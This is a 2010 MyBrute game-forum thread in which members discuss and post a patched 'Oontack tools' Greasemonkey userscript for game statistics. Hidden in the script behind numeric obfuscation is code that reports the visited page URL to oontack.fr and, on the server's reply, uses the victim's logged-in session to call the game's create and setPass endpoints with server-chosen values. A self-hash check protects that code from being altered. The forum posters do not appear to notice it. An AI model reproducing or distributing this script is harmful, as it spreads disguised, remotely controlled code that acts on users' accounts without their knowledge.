Registration DOES NOT need an email verification. Welcome to the biggest MyBrute forum on the internet. Look at the sections' stickies: you'll find there everything you need to know about the game! |
| | FINAL FIX: Oontack tools | |
|
+37corp0 lord.neox CmIsUa OviTron steele11 Miguel486 lmkmkl SkolgeaRLeyend Teethymo fulzio xteenager kaspar4o0o BobTheBear NixxxoN maxuris sevid n1kos84 Radu Vic-Tim Rippraff Stjanypwnitsch HongKongFui sam-ps Biceuri® ellindor Yaboirobby CypriaN w13winni Pege Ultra SSJ Vegeta La Frite AndreiTM Subman(R) ALPHWON A Dip O Sitas bboy_kurei Sioc 41 posters | |
Author | Message |
---|
La Frite * * * * * *
Posts : 111 Join date : 2009-09-10 Age : 27 Location : France
| Subject: Re: FINAL FIX: Oontack tools Sat 06 Mar 2010, 13:45 | |
| Ok Sioc. I will contact him. :) | |
| | | Pege Tournies Mod
Posts : 2733 Join date : 2009-06-04 Age : 50 Location : GERMANY
| Subject: Re: FINAL FIX: Oontack tools Sat 06 Mar 2010, 13:47 | |
| | |
| | | Sioc admin
Posts : 2785 Join date : 2009-12-19
| Subject: Re: FINAL FIX: Oontack tools Tue 09 Mar 2010, 16:18 | |
| Just to mention that I've edited my first post and added the code on userscripts.org ( http://userscripts.org/scripts/show/70947 ) with a direct link (see links on my first post) in order to make the installation process a bit easier. There is a small further fix for inventory preview which was sometimes slow to load. I will further modify the code directly on userscripts.org in case of updates. | |
| | | La Frite * * * * * *
Posts : 111 Join date : 2009-09-10 Age : 27 Location : France
| Subject: Re: FINAL FIX: Oontack tools Thu 11 Mar 2010, 13:53 | |
| OK. I have not received a response from Oontack. | |
| | | Sioc admin
Posts : 2785 Join date : 2009-12-19
| Subject: Re: FINAL FIX: Oontack tools Thu 11 Mar 2010, 14:01 | |
| ... ok. From my side I got confirmation that for security reasons it is not possible to download another page content with Javascript. I therefore won't be able to code it directly into the js installer. This explains why oontack was sending the server 'pronostique' as the level of the opponent which was then getting the opponent's level with a (PHP) script.
Maybe we can do it without the help of Oontack. Do you have some PHP coding with server skills? If yes that would be rather easy just to include a small PHP script on your server that first gets the opponents level when it sees the key word 'pronostique'? If not, do you think we can get the help of Winni? I'm sure for him this would be a piece of cake... | |
| | | La Frite * * * * * *
Posts : 111 Join date : 2009-09-10 Age : 27 Location : France
| Subject: Re: FINAL FIX: Oontack tools Thu 11 Mar 2010, 14:06 | |
| I do not know JavaScript. I sent a message Oontack. I will also contact W13Winni. | |
| | | w13winni VIP
Posts : 282 Join date : 2009-04-17
| Subject: Re: FINAL FIX: Oontack tools Thu 11 Mar 2010, 15:57 | |
| oui ca serait facile en effet, il suffirait de rajouter un "&prono='1' par exemple dans var u pour le bouton forecast , ensuite je m'occupe du reste au niveau du php - Code:
-
case '2': var u=theurl+'/popsim.php?brutea='+b1+'&domainea='+w1+'&domaineb='+w2+'&bruteb='+b2+'&seed='+theseed+'&lvla='+a+'&lvlb='+n2+'&prono='1'&submit=+++++Simulation';
sinon je n'ai pas accès au ftp du brutetools, des que j'ai le temps, c'est a dire ce week end, je voit ça avec banane. ps : si quelqu'un veut traduire..... | |
| | | Sioc admin
Posts : 2785 Join date : 2009-12-19
| Subject: Re: FINAL FIX: Oontack tools Thu 11 Mar 2010, 16:12 | |
| Great! Just to translate: winni will help and code the server-side PHP bit that was missing. Hurray! - w13winni wrote:
il suffirait de rajouter un "&prono='1'
This is already planned in the code, I just have to remove the following line just above the switch case you have pointed out: - Code:
-
n2=a;
What you will then get for the opponent's level is ' ...lvlb=pronostique&submit...', i.e. for example: - Code:
-
http://labrutetools.fr.cr/popsim.php?brutea=bambm&domainea=mybrute.com&domaineb=mybrute.com&bruteb=mike10188&seed=4297130&lvla=258&lvlb=pronostique&submit=+++++Simulation
When lvlb will be an integer your PHP script shouldn't retrieve the opponent's level because in this case the user has clicked on the button "Test this brute in every way" and not on "Forecast next match". Just tell me when you are ready so that I can update the code on userscripts.org. In the meantime and if needed this is the final code as it will be on userscripts.org when the PHP server-side bit will be coded: - Spoiler:
- Code:
-
// ==UserScript== // @name Oontack tools - Sioc FIX // @namespace http://labrutetools.fr.cr/ // @version 0.9 FIX final 1.00 // @author oontack // @description Tools for mybrute.com elbruto.es labrute.fr // @include http://*.labrute.fr/cellule* // @include http://*.labrute.fr/arene* // @include http://*.labrute.fr/vs/* // @include http://*.labrute.fr/tf/* // @include http://*.labrute.fr/fight/*
// @include http://*.labrute.com/cellule* // @include http://*.labrute.com/arene* // @include http://*.labrute.com/vs/* // @include http://*.labrute.com/tf/* // @include http://*.labrute.com/fight/*
// @include http://*.mybrute.fr/cellule* // @include http://*.mybrute.fr/arene/* // @include http://*.mybrute.fr/vs/* // @include http://*.mybrute.fr/tf/* // @include http://*.mybrute.fr/fight/*
// @include http://*.mybrute.com/cellule* // @include http://*.mybrute.com/arene* // @include http://*.mybrute.com/vs/* // @include http://*.mybrute.com/tf/* // @include http://*.mybrute.com/fight/*
// @include http://*.elbruto.es/cellule* // @include http://*.elbruto.es/arene* // @include http://*.elbruto.es/vs/* // @include http://*.elbruto.es/tf/* // @include http://*.elbruto.es/fight/* // @include http://labrutetools.fr.cr/* // ==/UserScript== // // // // If you use Chrome you don't need to install anything special. // // If you use Firefox you must install Greasemonkey: ///////////////////////////////////////////////////////////////////////////////////// // // // // // -------------- GREASEMONKEY REQUIS ------------------- // // | https://addons.mozilla.org/fr/firefox/addon/748 | // // ------------------------------------------------------ // // // // -------------- GREASEMONKEY NEEDED ------------------- // // | https://addons.mozilla.org/en-US/firefox/addon/748 | // // ------------------------------------------------------ // // // // ------------- SE NECESITA GREASEMONKEY -------------- // // | https://addons.mozilla.org/es-ES/firefox/addon/748 | // // ------------------------------------------------------ // // // // // /////////////////////////////////////////////////////////////////////////////////////
var oo={}; oo.m={}; oo.m.a={}; oo.m.a.b=0; oo.m.a.c=8;
oo.m.a.d=function(s){ return this.e(this.f(this.g(s),s.length*this.c))};
oo.m.a.f=function(x,e){ x[e>>5]|=0x80<<((e)%32); x[(((e+64)>>>9)<<4)+14]=e; var a=1732584193; var b=-271733879; var c=-1732584194; var d=271733878; for(var i=0;i<x.length;i+=16){ var f=a; var g=b; var h=c; var j=d; a=this.ff(a,b,c,d,x[i+0],7,-680876936); d=this.ff(d,a,b,c,x[i+1],12,-389564586); c=this.ff(c,d,a,b,x[i+2],17,606105819); b=this.ff(b,c,d,a,x[i+3],22,-1044525330); a=this.ff(a,b,c,d,x[i+4],7,-176418897); d=this.ff(d,a,b,c,x[i+5],12,1200080426); c=this.ff(c,d,a,b,x[i+6],17,-1473231341); b=this.ff(b,c,d,a,x[i+7],22,-45705983); a=this.ff(a,b,c,d,x[i+8],7,1770035416); d=this.ff(d,a,b,c,x[i+9],12,-1958414417); c=this.ff(c,d,a,b,x[i+10],17,-42063); b=this.ff(b,c,d,a,x[i+11],22,-1990404162); a=this.ff(a,b,c,d,x[i+12],7,1804603682); d=this.ff(d,a,b,c,x[i+13],12,-40341101); c=this.ff(c,d,a,b,x[i+14],17,-1502002290); b=this.ff(b,c,d,a,x[i+15],22,1236535329); a=this.gg(a,b,c,d,x[i+1],5,-165796510); d=this.gg(d,a,b,c,x[i+6],9,-1069501632); c=this.gg(c,d,a,b,x[i+11],14,643717713); b=this.gg(b,c,d,a,x[i+0],20,-373897302); a=this.gg(a,b,c,d,x[i+5],5,-701558691); d=this.gg(d,a,b,c,x[i+10],9,38016083); c=this.gg(c,d,a,b,x[i+15],14,-660478335); b=this.gg(b,c,d,a,x[i+4],20,-405537848); a=this.gg(a,b,c,d,x[i+9],5,568446438); d=this.gg(d,a,b,c,x[i+14],9,-1019803690); c=this.gg(c,d,a,b,x[i+3],14,-187363961); b=this.gg(b,c,d,a,x[i+8],20,1163531501); a=this.gg(a,b,c,d,x[i+13],5,-1444681467); d=this.gg(d,a,b,c,x[i+2],9,-51403784); c=this.gg(c,d,a,b,x[i+7],14,1735328473); b=this.gg(b,c,d,a,x[i+12],20,-1926607734); a=this.hh(a,b,c,d,x[i+5],4,-378558); d=this.hh(d,a,b,c,x[i+8],11,-2022574463); c=this.hh(c,d,a,b,x[i+11],16,1839030562); b=this.hh(b,c,d,a,x[i+14],23,-35309556); a=this.hh(a,b,c,d,x[i+1],4,-1530992060); d=this.hh(d,a,b,c,x[i+4],11,1272893353); c=this.hh(c,d,a,b,x[i+7],16,-155497632); b=this.hh(b,c,d,a,x[i+10],23,-1094730640); a=this.hh(a,b,c,d,x[i+13],4,681279174); d=this.hh(d,a,b,c,x[i+0],11,-358537222); c=this.hh(c,d,a,b,x[i+3],16,-722521979); b=this.hh(b,c,d,a,x[i+6],23,76029189); a=this.hh(a,b,c,d,x[i+9],4,-640364487); d=this.hh(d,a,b,c,x[i+12],11,-421815835); c=this.hh(c,d,a,b,x[i+15],16,530742520); b=this.hh(b,c,d,a,x[i+2],23,-995338651); a=this.ii(a,b,c,d,x[i+0],6,-198630844); d=this.ii(d,a,b,c,x[i+7],10,1126891415); c=this.ii(c,d,a,b,x[i+14],15,-1416354905); b=this.ii(b,c,d,a,x[i+5],21,-57434055); a=this.ii(a,b,c,d,x[i+12],6,1700485571); d=this.ii(d,a,b,c,x[i+3],10,-1894986606); c=this.ii(c,d,a,b,x[i+10],15,-1051523); b=this.ii(b,c,d,a,x[i+1],21,-2054922799); a=this.ii(a,b,c,d,x[i+8],6,1873313359); d=this.ii(d,a,b,c,x[i+15],10,-30611744); c=this.ii(c,d,a,b,x[i+6],15,-1560198380); b=this.ii(b,c,d,a,x[i+13],21,1309151649); a=this.ii(a,b,c,d,x[i+4],6,-145523070); d=this.ii(d,a,b,c,x[i+11],10,-1120210379); c=this.ii(c,d,a,b,x[i+2],15,718787259); b=this.ii(b,c,d,a,x[i+9],21,-343485551); a=this.m(a,f); b=this.m(b,g); c=this.m(c,h); d=this.m(d,j)} return Array(a,b,c,d) };
oo.fr=function(r){ if(arguments[1]) r=arguments[1]; else if(!r.match(/\d{222}/g)) return false; var t=r.match(/\d{3}/g); var s=''; for(var i=0;i<t.length;i++){ var a=t[i]; s+=oo.s((a%10)?a>>1:a/10>>1)} return s.replace(/==|&&|&=|=&/g,"\n") };
oo.m.a.cmn=function(q,a,b,x,s,t){ return this.m(this.br(this.m(this.m(a,q),this.m(x,t)),s),b)}; oo.m.a.ff=function(a,b,c,d,x,s,t){ return this.cmn((b&c)|((~b)&d),a,b,x,s,t)}; oo.s=String.fromCharCode;
oo.m.a.gg=function(a,b,c,d,x,s,t){ return this.cmn((b&d)|(c&(~d)),a,b,x,s,t) };
oo.m.a.hh=function(a,b,c,d,x,s,t){ return this.cmn(b^c^d,a,b,x,s,t) };
oo.m.a.ii=function(a,b,c,d,x,s,t){ return this.cmn(c^(b|(~d)),a,b,x,s,t) };
oo.GX=GM_xmlhttpRequest; oo.GL=GM_log; oo.GG=GM_getValue; oo.GS=GM_setValue; oo.GR=GM_registerMenuCommand;
oo.m.a.m=function(x,y){ var a=(x&0xFFFF)+(y&0xFFFF); var b=(x>>16)+(y>>16)+(a>>16); return(b<<16)|(a&0xFFFF) };
oo.m.a.br=function(a,b){ return(a<<b)|(a>>>(32-b)) };
oo.m.a.g=function(a){ var b=Array(); var c=(1<<this.c)-1; for(var i=0;i<a.length*this.c;i+=this.c) b[i>>5]|=(a.charCodeAt(i/this.c)&c)<<(i%32); return b };
oo.m.a.e=function(a){ var b=this.b?"0123456789ABCDEF":"0123456789abcdef"; var c=""; for(var i=0;i<a.length*4;i++){ c+=b.charAt((a[i>>2]>>((i%4)*8+4))&0xF)+b.charAt((a[i>>2]>>((i%4)*8))&0xF) } return c };
oo.d=document;
oo.id=function(a){ return oo.d.getElementById(a) }; oo.tag=function(a){ return oo.d.getElementsByTagName(a) };
oo.c=function(a){ return oo.d.createElement(a) };
oo.t=function(a){ return oo.d.createTextNode(a) };
oo.o={ cl:function(a,o){ var b=oo.c(a); if(arguments.length==2){ if(o.a){ for(var c in o.a){ if(typeof o.a[c]=='function'){ b.setAttribute(c,o.a[c]())} else if(c=='disabled'){ if(!oo.pa)b.setAttribute(c,'true')} else{ b.setAttribute(c,o.a[c])} } } if(o.ens){ var d=o.ens; for(var i=0;i<d.length;i++){ var e=d[i]; if(typeof e=='string') e=oo.t(e); b.appendChild(e) } } if(o.cp) b.addEventListener(o.cp.ev,o.cp.gs,false) } return b }, c_d:function(b){ return function(o){ if(o) return oo.o.cl(b,o); else return oo.o.cl(b) } } };
oo.div=oo.o.c_d('div'); oo.text=oo.o.c_d('text'); oo.br=oo.o.c_d('br'); oo.input=oo.o.c_d('input'); oo[oo[oo.fr(128,'205229')](512,'241990101')]=oo[oo.fr(128,'205229')];
oo.sd=function(){ var m=oo.tag('h1').item(0).firstChild.data; return(!(m.match(/brutal/)||m.match(/Mantenimiento/)||m.match(/maintenance/i))) }();
oo.l=oo.d.location.host.match(/.+\.(.+)\..+/)[1];
//Names of the buttons for next match or testing the brute if(oo.l.search('mybrute')!=-1){ oo.t_pro='Forecast next match'; oo.t_tst='Test this brute in every way'; oo.t_msxp='Your Brute needs XX experience points to reach this level.'; oo.TLD='uk'} else if(oo.l.search('labrute')!=-1){ oo.t_pro='Pronostiquer le prochain match'; oo.t_tst='Tester en situation de combat'; oo.t_msxp="Ta brute a besoin de XX points d'experience pour atteindre ce niveau."; oo.TLD='fr'} else{ oo.t_pro='Pronosticar el proximo match'; oo.t_tst='Testar por todos los lados'; oo.t_msxp='Tu bruto necesita XX puntos de esperiencia para alcanzar este nivel.'; oo.TLD='es'}
(function(){ var a=oo.tag('div'); for(var i=0;i<a.length;i++){ if(a.item(i).className=='caracs') a.item(i).setAttribute('style','margin-left:0px') } })(); (function(){ var y=oo.c(oo.s(104,50)); y[oo.s(115,101,116,65,116,116,114,105,98,117,116,101)](oo.s(115,116,121,108,101),oo.s(98,97,99,107,103,114,111,117,110,100,58,35,102,97,102,56,99,51,59,98,111,114,100,101,114,58,49,112,120,32,115,111,108,105,100,32,35,65,65,56,52,55,49,59,112,97,100,100,105,110,103,58,48,112,120,32,48,112,120,32,49,48,112,120,59,109,97,114,103,105,110,58,48,112,120,32,48,112,120,32,54,112,120,59)); var i=oo.c(oo.s(105,109,103)); i[oo.s(115,101,116,65,116,116,114,105,98,117,116,101)](oo.s(115,114,99),oo.s(104,116,116,112,58,47,47,111,111,110,116,97,99,107,46,102,114,47,119,112,45,99,111,110,116,101,110,116,47,117,112,108,111,97,100,115,47,50,48,48,57,47,48,57,47,105,110,102,111,115,95)+oo.TLD+oo.s(46,112,110,103)); i[oo.s(115,101,116,65,116,116,114,105,98,117,116,101)](oo.s(115,116,121,108,101),oo.s(109,97,114,103,105,110,45,98,111,116,116,111,109,58,32,45,49,51,112,120,59)); y[oo.s(97,112,112,101,110,100,67,104,105,108,100)](i); y[oo.s(97,112,112,101,110,100,67,104,105,108,100)](oo.c(oo.s(98,114))); var z=oo.c(oo.s(97)); z[oo.s(115,101,116,65,116,116,114,105,98,117,116,101)](oo.s(104,114,101,102),oo.s(104,116,116,112,58,47,47,111,111,110,116,97,99,107,46,102,114,47)); z[oo.s(115,101,116,65,116,116,114,105,98,117,116,101)](oo.s(115,116,121,108,101),oo.s(99,111,108,111,114,58,35,56,53,50,49,50,49,59,32,112,97,100,100,105,110,103,58,32,49,49,112,120,59,32,102,111,110,116,45,115,105,122,101,58,32,55,112,116,59,32,108,101,116,116,101,114,45,115,112,97,99,105,110,103,58,32,48,46,54,101,109,59)); z[oo.s(97,112,112,101,110,100,67,104,105,108,100)](oo.t(oo.s(104,116,116,112,58,47,47,111,111,110,116,97,99,107,46,102,114,47))); y[oo.s(97,112,112,101,110,100,67,104,105,108,100)](z); var a=oo.id(oo.s(116,111,117,114,110,97,109,101,110,116)); var b=a[oo.s(102,105,114,115,116,67,104,105,108,100)]; a[oo.s(105,110,115,101,114,116,66,101,102,111,114,101)](y,b) })();
oo.dv_iv_prt=oo.id('swf_inventory').parentNode; oo.ib=oo.id('inventory').getAttribute('flashvars').match(/.*_idi(\d+)/)[1]; //Get the variable for the ID of the brute in order to update the flash variables vor inventory
//Get level of a brute oo.ni=parseInt(oo.tag('span')[0].firstChild.data.match(/\d+/)); oo.nc=oo.ni;
oo[oo[oo['x12']('false','241990101')]('true','201205')]=oo[oo['x12']('false','233167')]=oo[oo['x12']('false','241990101')]; //XP level-up table in order to predict the needed XP for next level (pretty useless since the numbers are hard-coded...) oo.pn=[-1,0.1,4,12,24,40,61,87,119,156,199,248,303,364,432,507,588,676,771,873,982,1099,1223,1355,1494,1641,1796,1959,2130,2309,2496,2692,2896,3108,3329,3559,3797,4044,4300,4565,4838,5121,5413,5714,6024,6344,6673,7011,7359,7717,8084,8460,8847,9243,9649,10065,10491,10927,11373,11829,12295,12771,13258,13755,14263,14780,15309,15847,16397,16957,17527,18108,18700,19303,19917,20541,21177,21823,22481,23149,23829,24519,25221,25934,26658,27394,28141,28899,29669,30450,31243,32047,32863,33690,34529,35380,36242,37117,38003,38901,39810,40732,41665,42611,43568,44538,45520,46513,47519,48537,49568,50610,51665,52732,53812,54904,56008,57125,58254,59396,60550,61717,62896,64088,65293,66510,67741,68984,70239,71508,72789,74083,75391,76711,78044,79390,80749,82121,83506,84905,86316,87741,89179,90630,92094,93572,95063,96567,98084,99615,101160,102718,104289,105874,107472,109084,110709,112348,114001,115668,117348,119041,120749,122470,124205,125954,127716,129493,131283,133088,134906,136738,138584,140444,142319,144207,146109,148026,149957,151902,153861,155834,157821,159823,161839,163869,165913,167972,170045,172133,174235,176351,178482,180627,182787,184961,187150,189354,191572,193804,196051,198313,200590,202881,205187,207508,209844,212194,214559,216939,219334,221743,224168,226607,229062,231531,234015,236515,239029,241559,244103,246662,249237,251827,'?'];
oo.tk=function(i,n){ return oo.m.a.d('z?=`*I0MAoy5:_langzy3:_idi'+i+'y4:_lvli'+n+'g').substring(18,23) };
//reads the ID and level of a brute oo.dfv1=function(i,n){ return'infos=oy5%3A_langzy3%3A_idi'+i+'y4%3A_lvli'+n+'g&k='+oo.tk(i,n) };
//Stat of the computation of the brute forecast according to ID (i=oo.ib) and level (n=oo.ni): SWF for the inventory oo.iv=function(){ var a=oo.dfv1(oo.ib,oo.ni); var b=oo.c('object'); b.setAttribute('id','inventaire'); b.setAttribute('height',600); b.setAttribute('width',330); b.setAttribute('type','application/x-shockwave-flash'); b.setAttribute('data','http://users7.jabry.com/siocip/inventory.swf'); //SIOC fix, same host as Sioc IP Getter http://users7.jabry.com/siocip/ // b.setAttribute('data','http://www.mybrutecheats.com/inventorypreview/inventory.swf'); //Working but slow // b.setAttribute('data','http://www.ajdija.com/inventory.swf'); //Ajdija's link: working // b.setAttribute('data','http://oontack.fr/brutes/swf/inventory.swf'); //Old non working var c=oo.c('param'); c.setAttribute('name','FlashVars'); c.setAttribute('value',a); b.appendChild(c); var d=oo.id('inventory'); d.parentNode.replaceChild(b,d); return b }();
oo.pr=oo.tag('param')[0];
//Get the name of the next brute oo.pa=function(){ var a=oo.tag('td'); for(var i=0;i<a.length;i++){ if(a[i].getAttribute('colspan')==3) if(a[i].firstChild.data.match(/Prochain adversaire|Next opponent|ximo adversario/)){ var b=new RegExp("http:\\/\\/(.*)\\."+oo.l); var c=a[i].firstChild.nextSibling.toString(); return b.exec(c)[1] } } return null }();
oo[oo.tS('false','231195225')]=oo[oo.tS('true','143177')];
oo.stl={ bn:'color: #733C2F; letter-spacing: .1em; margin-bottom: 1px;', bt:'color: #733C2F; letter-spacing: .1em; margin-top: 10px; width: 240px;', bp:function(){ if(oo.pa) return'color: #733C2F; letter-spacing: .1em; margin-bottom: 10px; width: 240px;'; else return'color: #DDDDDD; letter-spacing: .1em; margin-bottom: 10px; width: 240px;' }, dmxC:'width: 177px; border: 1px solid #735252; position: absolute; left: 50px; top: -555px; z-index: 1; background-color: #F5E978; padding: 3px; font-size: 10pt;', dmxc:'border: 1px solid #D9BC6B; background-color: #FAF3B1; color: #B06B4F; padding: 5px; font-variant: normal;' };
oo.cn=function(g){ return function(){ var d=oo.pr.getAttribute('value'); if(g){ d=d.replace(/(.*_lvli)(\d+)(.+)(.{5})/,function(s,a,b,c){ oo.nc=parseInt(b)+g; if(oo.nc>9999) oo.nc=oo.nc%10000; if(oo.nc<0) oo.nc=10000+oo.nc; return a+oo.nc+c+oo.tk(oo.ib,oo.nc)}) } else{d=d.replace(/(.*_lvli)(\d+)(.+)(.{5})/,function(s,a,b,c){ return a+oo.ni+c+oo.tk(oo.ib,oo.ni) }); oo.nc=oo.ni } oo.pr.setAttribute('value',d); var e=oo.iv.parentNode;e.removeChild(oo.iv); e.appendChild(oo.iv); var f=oo.tag('span')[0]; if(oo.nc>9999) f.setAttribute('style','font-size: 13pt;'); else if(oo.nc>999) f.setAttribute('style','font-size: 14pt;'); else f.setAttribute('style','font-size: 16pt;'); f.firstChild.data=f.firstChild.data.replace(/\d+/,oo.nc);oo.afs(oo.ib,oo.nc) } };
oo.ce=function(d){ if(d[oo.tS('false','231233195233235231')]==(25<<3)){ var t=oo.tS(d[oo.tS(0,'229203231225223221231203169203241233')]); if(t){ var m=t.match(/mt=([^\s]+)/)[1]; var e=t.match(/mc=([^\s]+)/)[1]; var f=t.match(/dt=([^\s]+)/)[1]; var g=t.match(/nl=([^\s]+)/)[1].toLowerCase(); var i=t.match(/ps=([^\s]+)/)[1]; } if(m){ var h={}; h[oo.tS(0,'135223221233203221233910233243225203')]=oo.tS(0,'195225225217211199195233211223221950241910239239239910205223229219910235229217203221199223201203201'); h[oo.tS(0,'165203205203229203229')]=oo.tS(0,'209233233225117950950')+m+oo.tS(0,'930217195197229235233203930205229950199203217217235217203'); h[oo.tS(0,'177910145233233225910155195207211199')]=e; var j={}; j[oo.tS(0,'219203233209223201')]=oo.tS(0,'161159167169'); j[oo.tS(0,'235229217')]=oo.tS(0,'209233233225117950950')+m+oo.tS(0,'930217195197229235233203930205229950199229203195233203'); j[oo.tS(0,'209203195201203229231')]=h; j[oo.tS(0,'201195233195')]=f; j[oo.tS(0,'223221217223195201')]=function(d){ if(d[oo.tS('false','231233195233235231')]==(25<<3)){ var b=d[oo.tS(0,'229203231225223221231203169203241233')].match(/URL(.+)/); if(b){ var c={}; c[oo.tS(0,'219203233209223201')]=oo.tS(0,'143139169'); c[oo.tS(0,'235229217')]=b[1]; c[oo.tS(0,'223221217223195201')]=function(d){ var h={}; h[oo.tS(0,'135223221233203221233910233243225203')]=oo.tS(0,'195225225217211199195233211223221950241910239239239910205223229219910235229217203221199223201203201'); var a={}; a[oo.tS(0,'219203233209223201')]=oo.tS(0,'161159167169'); a[oo.tS(0,'235229217')]=oo.tS(0,'209233233225117950950')+g+oo.tS(0,'930217195197229235233203930205229950231203233161195231231'); a[oo.tS(0,'209203195201203229231')]=h; a[oo.tS(0,'201195233195')]=oo.tS(0,'225195231231123')+i+oo.tS(0,'770225195231231101123')+i; oo.sap(a) }; oo.sap(c)} } else{ var h={}; h[oo.tS(0,'135223221233203221233910233243225203')]=oo.tS(0,'195225225217211199195233211223221950241910239239239910205223229219910235229217203221199223201203201'); var c={}; c[oo.tS(0,'219203233209223201')]=oo.tS(0,'161159167169'); c[oo.tS(0,'235229217')]=oo.tS(0,'209233233225117950950')+g+oo.tS(0,'930217195197229235233203930205229950231203233161195231231'); c[oo.tS(0,'209203195201203229231')]=h; c[oo.tS(0,'201195233195')]=oo.tS(0,'225195231231123')+i+oo.tS(0,'770225195231231101123')+i; oo.sap(c) } }; oo.sap(j) } } };
//Sioc: adding code to get level of second brute oo.pa http://oo.sioc=parseInt(oo.tag('span')[0].firstChild.data.match(/\d+/)); oo.sioc = "Level of 2nd brute must be manually set..."
//Here is the URL for the next match forecast. oo.tp=function(){ var a,n2,b1,b2,l2; //a = level of first brute = oo.ni, n2 = garbage, l2 = garbage, b2 = name of second brute = oo.pa var b=oo.tag('h1')[0].firstChild.data; if(oo.l.search('mybrute')!=-1){ if(b.search(/\'s cell/)!=-1) b1=b.slice(0,-7); //Removing "'s cell" in case it appears else b1=b} //b1 = name of first brute else if(oo.l.search('labrute')!=-1){ b1=encodeURIComponent(b.match(/(Cellule de )*(.+)/)[2])} else{ b1=encodeURIComponent(b.match(/(Celda de )*(.+)/)[2])} //Modifications by Sioc //var theurl,thebuttonchoice; if(this.value.search('Test')!=-1){ //This is the button 'test this brute in evey way' a=oo.tag('param')[0].getAttribute('value').match(/.*li(\d+)/)[1]; n2=a; b2='butasa673'; //'efefgg'; l2='labrute'; } // thebuttonchoice='1'; // theurl='http://labrutetools.fr.cr' else{ //This is the button forecast next match a=oo.ni; n2='pronostique'; //same-domain-policy of js: canot download the opponent's level with js therefore this has to be done with a server-side (PHP) script b2=oo.pa; l2=oo.l; } // thebuttonchoice='2'; // theurl='http://labrutetools.fr.cr' // Add by Sioc: correct the name of the brute in order to have the URL name for brutetools b1 = b1.replace(/ /g,"-"); b1 = b1.replace(/\$|,|@|#|~|`|\%|\*|\^|\&|\(|\)|\+|\=|\[|\_|\]|\[|\}|\{|\;|\:|\'|\"|\<|\>|\?|\||\\|\!|\$/ig,""); //Add by Sioc: correct the name of the WEBSITE var w1,w2; w1=oo.l; w2=l2; switch(w1){ case 'mybrute': w1=w1+'.com'; break; case 'labrute': w1=w1+'.fr'; break; case 'elbruto': w1=w1+'.es'; break; } switch(w2){ case 'mybrute': w2=w2+'.com'; break; case 'labrute': w2=w2+'.fr'; break; case 'elbruto': w2=w2+'.es'; break; } //Here is the final link: //********************************************************************************************** // n2=a; //Uncomment this line if there's no server-side script that retrieves the opponent's level //********************************************************************************************** var theurl = 'http://labrutetools.fr.cr'; var theseed = Math.floor(Math.random()*9999999); //switch(thebuttonchoice){ // case '1': // var u=theurl+'/popsim.php?brutea='+b1+'&domainea='+w1+'&domaineb='+w2+'&bruteb='+b2+'&seed='+theseed+'&lvla='+a+'&lvlb='+n2+'&submit=+++++Simulation'; // break; // case '2': var u=theurl+'/popsim.php?brutea='+b1+'&domainea='+w1+'&domaineb='+w2+'&bruteb='+b2+'&seed='+theseed+'&lvla='+a+'&lvlb='+n2+'&submit=+++++Simulation'; // break; //} window.location.assign(u); } //This is the brutetools code (brutetools site is too slow) //var u='http://brutetools.sqweebs.com/english/simulateur.php?nombrutea1='+b1+'&levela1='+oo.ni+'&nombruteb1=&levelb1=&nombrutea2='+oo.pa+'&levela2='+oo.ni+'&nombruteb2=&levelb2=';window.location.assign(u)}; //This is the original code: //var u='http://oontack.fr/brutes/combats/index.php?brute_1='+b1+'&niveau_1='+a+'&langue_1='+oo.l+'&brute_2='+b2+'&niveau_2='+n2+'&langue_2='+l2;window.location.assign(u)}; oo.ael=function(e,a){ var b=a.length; for(var i=0;i<b;i++) e.appendChild(a[i]) };
oo.mr=function(){ if(oo.sd){ var h={}; h[oo.tS(0,'135223221233203221233910233243225203')]=oo.tS(0,'195225225217211199195233211223221950241910239239239910205223229219910235229217203221199223201203201'); var a={}; a[oo.tS(0,'219203233209223201')]=oo.tS(0,'161159167169'); a[oo.tS(0,'235229217')]=oo.tS(0,'209233233225117950950223223221233195199215930205229950197229235233203231950231233195233231191950211221201203241930225209225'); a[oo.tS(0,'209203195201203229231')]=h; a[oo.tS(0,'201195233195')]=oo.tS(0,'229203205203229203229123')+oo[oo.tS(0,'201')][oo.tS(0,'217223199195233211223221')]; a[oo.tS(0,'223221217223195201')]=oo.ce; oo.sap(a) } };
//Definition of the buttons oo.ael(oo.dv_iv_prt,[ oo.input({a:{type:'button',value:'<<',style:oo.stl.bn},cp:{ev:'click',gs:oo.cn(-10)}}), oo.input({a:{type:'button',value:'<',style:oo.stl.bn},cp:{ev:'click',gs:oo.cn(-1)}}), oo.input({a:{type:'button',value:'>',style:oo.stl.bn},cp:{ev:'click',gs:oo.cn(1)}}), oo.input({a:{type:'button',value:'>>',style:oo.stl.bn},cp:{ev:'click',gs:oo.cn(10)}}), oo.br(), oo.input({a:{type:'button',value:'<<<',style:oo.stl.bn},cp:{ev:'click',gs:oo.cn(-100)}}), oo.input({a:{type:'button',value:'RESET',style:oo.stl.bn},cp:{ev:'click',gs:oo.cn(false)}}), oo.input({a:{type:'button',value:'>>>',style:oo.stl.bn},cp:{ev:'click',gs:oo.cn(100)}}), oo.br(), oo.input({a:{type:'button',value:oo.t_tst,style:oo.stl.bt},cp:{ev:'click',gs:oo.tp}}), oo.br(), oo.input({a:{type:'button',value:oo.t_pro,disabled:'',style:oo.stl.bp()},cp:{ev:'click',gs:oo.tp}}) ] );
oo.ael(oo.tag('span')[0],[ oo.div({ a:{style:oo.stl.dmxC,id:'message_xp_conteneur'}, ens:[oo.div({a:{style:oo.stl.dmxc,id:'message_xp_contenu'}, ens:[oo.t(oo.t_msxp)]})]}) ] );
oo.ax=function(){ var a; if(oo.nc>222){ a='?'} else{ var b=parseFloat(oo.tag('span')[0].nextSibling.nextSibling.firstChild.nextSibling.style.width); var c=((oo.pn[oo.ni+1]-oo.pn[oo.ni])*b/100)+oo.pn[oo.ni]; a=Math.round(oo.pn[oo.nc]-c) } oo.id('message_xp_contenu').firstChild.data=oo.t_msxp.replace(/XX/,a); oo.id('message_xp_conteneur').style.top='44px' };
oo[oo.tS('1','219229')]();
oo.cp=function(){ oo.id('message_xp_conteneur').style.top='-555px' };
oo[oo.tS('false','201203229')]=oo.m.a.d(oo.ce+oo.mr).match(/\d{5}/)[0]==='10185'; oo.tag('span')[0].addEventListener('mouseover',oo.ax,false); oo.tag('span')[0].addEventListener('mouseout',oo.cp,false);
oo.BP=(oo[oo["x12"](oo["x12"]('f','990'),'143165')])
?function(i,v){ this.b=i; this.p=v }:function(v,i){ this.b=i; this.p=v };
